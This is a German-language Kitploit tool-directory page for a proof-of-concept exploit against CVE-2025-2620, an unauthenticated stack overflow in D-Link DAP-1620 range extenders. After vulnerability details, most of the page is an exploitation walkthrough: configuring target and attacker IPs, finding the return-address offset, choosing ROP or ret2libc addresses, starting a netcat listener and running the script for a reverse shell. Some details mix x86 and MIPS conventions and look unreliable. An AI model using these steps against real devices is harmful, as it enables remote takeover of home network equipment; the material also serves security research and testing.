Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-2620-poc — Proof-of-Concept-Exploit für CVE-2025-2620, einen kritischen stack-basierten Pufferüberlauf in D-Link DAP-1620-Routern, der nicht authentifizierte Remote-Codeausführung und Reverse-Shell-Zugriff ermöglicht. | Kitploit
Tools/GitHubGitHub/otsmane-ahmed/cve-2025-2620-poc
Embedded-System-SicherheitIoT-SicherheitSchwachstellenanalyseExploitationShellcodeWebanwendungs-ExploitationPenetrationstestsRed TeamingRemote-Access-Tool

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Payload-Entwicklung
Binary-Exploitation
GitHubotsmane-ahmed/cve-2025-2620-poc

CVE-2025-2620-poc

Proof-of-Concept-Exploit für CVE-2025-2620, einen kritischen stack-basierten Pufferüberlauf in D-Link DAP-1620-Routern, der nicht authentifizierte Remote-Codeausführung und Reverse-Shell-Zugriff ermöglicht.

Repository anzeigen
16112vor 1 JahrNoch nicht geprüft

CVE-2025-2620 Proof-of-Concept-Exploit

Überblick

Dieses Repository enthält einen fortgeschrittenen Proof-of-Concept (PoC)-Exploit für CVE-2025-2620, eine kritische Stack-basierte Pufferüberlauf-Schwachstelle, die im D-Link DAP-1620 Router mit der Firmware-Version 1.03 entdeckt wurde. Diese Schwachstelle ermöglicht es nicht authentifizierten Remote-Angreifern, den Webserver des Routers zum Absturz zu bringen (Denial-of-Service, DoS) und potenziell beliebigen Code auszuführen (Remote Code Execution, RCE).

Der Zweck dieses Projekts ist es, Exploit-Entwicklungsfähigkeiten zu demonstrieren.

Schwachstellendetails

CVE-Beschreibung

CVE-2025-2620 betrifft die mod_graph_auth_uri_handler-Funktion des D-Link DAP-1620-Routers, insbesondere innerhalb des /storage-Endpunkts. Die Schwachstelle wird durch fehlerhafte Grenzüberprüfung verursacht, die es einem Angreifer ermöglicht, eine große Eingabe zu senden, die die zugewiesene Puffergröße überschreitet, was zu einem Stack-basierten Pufferüberlauf führt.

Auswirkungen

  • Denial-of-Service (DoS): Lässt den HTTP-Server des Routers abstürzen, sodass dieser bis zu einem Neustart nicht ansprechbar ist.
  • Remote Code Execution (RCE): Angreifer können die Rücksprungadresse überschreiben und beliebigen Code auf der MIPS-basierten Architektur des Routers ausführen.
  • Keine Authentifizierung erforderlich: Die Schwachstelle kann ohne Anmeldeinformationen aus der Ferne ausgelöst werden, was ihren Schweregrad erhöht.

Technische Aufschlüsselung

Die anfällige Funktion verarbeitet einen Authentifizierungsparameter (auth) aus HTTP-Anfragen:

void mod_graph_auth_uri_handler(char *input) {
    char buffer[512];  // Stack-Puffer mit fester Größe
    strcpy(buffer, input);  // Keine Längenprüfung, verursacht Überlauf
    // Authentifizierung verarbeiten...
}

Ein Angreifer, der eine übergroße Nutzlast sendet (z.B. 1024+ Bytes), überschreibt angrenzenden Speicher, einschließlich der Rücksprungadresse der Funktion, was möglicherweise zu Codeausführung führt.

CVSS v3.1-Score: 9.8 (Kritisch)

MetrikWert
AngriffsvektorNetzwerk
AngriffskomplexitätNiedrig
Erforderliche PrivilegienKeine
BenutzerinteraktionKeine
VertraulichkeitsauswirkungHoch
IntegritätsauswirkungHoch
VerfügbarkeitsauswirkungHoch

Betroffene Geräte

Der D-Link DAP-1620 ist ein WLAN-Reichweitenverstärker mit folgenden Spezifikationen:

  • CPU: Realtek RTL8197F (MIPS 24Kc, ~600 MHz)
  • RAM: 64 MB
  • Flash: 16 MB
  • WLAN: Dualband 802.11ac
  • Firmware: 1.03 (bestätigt anfällig)

Andere D-Link-Router/Verstärker mit ähnlicher Firmware könnten ebenfalls betroffen sein.

Offenlegungszeitplan

  • 22. März 2025 – CVE-2025-2620 veröffentlicht auf NVD/MITRE.
  • 22. März 2025 – Dieser PoC entwickelt und getestet.
  • 22. März 2025 – Kein offizieller Patch von D-Link zu diesem Zeitpunkt.

PoC-Exploit-Details

Funktionen

Kombinierter PoC – Beinhaltet sowohl Pufferüberlauf-Tests als auch RCE-Exploit.
Stack-basierter Pufferüberlauf-Test – Identifiziert anfällige Router.
Vollständiger Remote-Code-Ausführungs-Exploit (RCE) – Erzeugt eine Reverse-Shell.
Konfigurierbare Nutzlastgröße & Rücksprungadresse – Anpassbar für verschiedene Router-Modelle.
Verbessertes Debugging – Protokolliert Crash-Offsets zur Verfeinerung der Exploit-Parameter.

Installation & Verwendung

Schritt 1: Repository klonen

git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc

Schritt 2: Abhängigkeiten installieren

Stellen Sie sicher, dass Python3 und pwntools installiert sind:

pip install pwntools

Schritt 3: Exploit konfigurieren

Ändern Sie das Skript CVE-2025-2620_poc.py:

IP des Routers festlegen:

TARGET_IP = "192.168.0.1"  # an Ihren Router anpassen

IP Ihres Angriffsrechners festlegen:

ATTACKER_IP = "192.168.0.100"  # an Ihre lokale IP anpassen
ATTACKER_PORT = 4444  # bei Bedarf ändern

Puffergröße bei Bedarf anpassen:

BUFFER_SIZE = 8000  # Erhöhen, falls der Router nicht abstürzt

EIP-Offset finden und Rücksprungadresse festlegen:

Schritt 1: Zyklisches Muster senden

Ändern Sie den PoC, um ein eindeutiges Muster zu generieren und zu senden:

MODE = "overflow"  # Auf "overflow" setzen, um den Offset zu finden

Führen Sie das Skript aus:

python3 CVE-2025-2620_poc.py
Schritt 2: Crash-Adresse überprüfen

Nachdem der Router abgestürzt ist, überprüfen Sie die Segfault-Adresse (EIP auf x86 oder RA auf MIPS) aus:

  • Router-Logs
  • Debugger (gdb)
  • dmesg | grep 'segfault'

Suchen Sie nach einer Adresse wie 0x61616161 (was bedeutet, dass ein Teil des zyklischen Musters den Rücksprungzeiger überschrieben hat).

Schritt 3: Offset finden

Verwenden Sie cyclic_find, um den genauen Offset zu ermitteln:

from pwn import cyclic_find
print(cyclic_find(0x61616161))  # Durch die Crash-Adresse ersetzen

Dies liefert den genauen OFFSET-Wert. Aktualisieren Sie Ihren PoC:

OFFSET = <GEFUNDENER OFFSET>  # Durch die tatsächliche Zahl ersetzen
Schritt 4: Passende Rücksprungadresse (RET_ADDR) finden
  • Option 1: Finden eines JMP- oder CALL-Gadgets

    ROPgadget --binary anfällige_binärdatei | grep "jmp"
    

    Wählen Sie eine Adresse, die zu einem Register springt (z.B. jmp $sp oder jmp $ra).

  • Option 2: Verwenden einer ret2libc-Adresse Finden Sie die Adresse von system() in libc:

    objdump -D /lib/libc.so.6 | grep "system"
    

    Verwenden Sie sie dann als RET_ADDR:

    RET_ADDR = struct.pack("<I", 0xdeadbeef)  # Durch tatsächliche Adresse ersetzen
    

Schritt 4: Listener starten

nc -lvnp 4444

Schritt 5: Exploit ausführen

python3 CVE-2025-2620_poc.py --mode rce

Entwickelt mit ❤️ von Otsmane Ahmed

Tool herunterladen